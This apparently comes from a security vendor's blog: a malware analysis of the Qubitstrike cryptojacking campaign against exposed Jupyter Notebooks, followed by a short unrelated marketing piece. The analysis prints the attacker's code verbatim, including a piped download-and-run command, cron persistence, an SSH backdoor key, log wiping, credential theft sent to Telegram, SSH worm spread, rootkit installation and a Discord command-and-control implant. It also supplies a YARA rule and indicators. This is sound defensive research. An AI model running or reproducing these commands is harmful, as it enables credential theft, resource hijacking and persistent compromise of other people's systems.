October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Watch the NIS2 Webinar

Blog

April 17, 2026

Why Behavioral AI Is the Answer to Mythos

How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

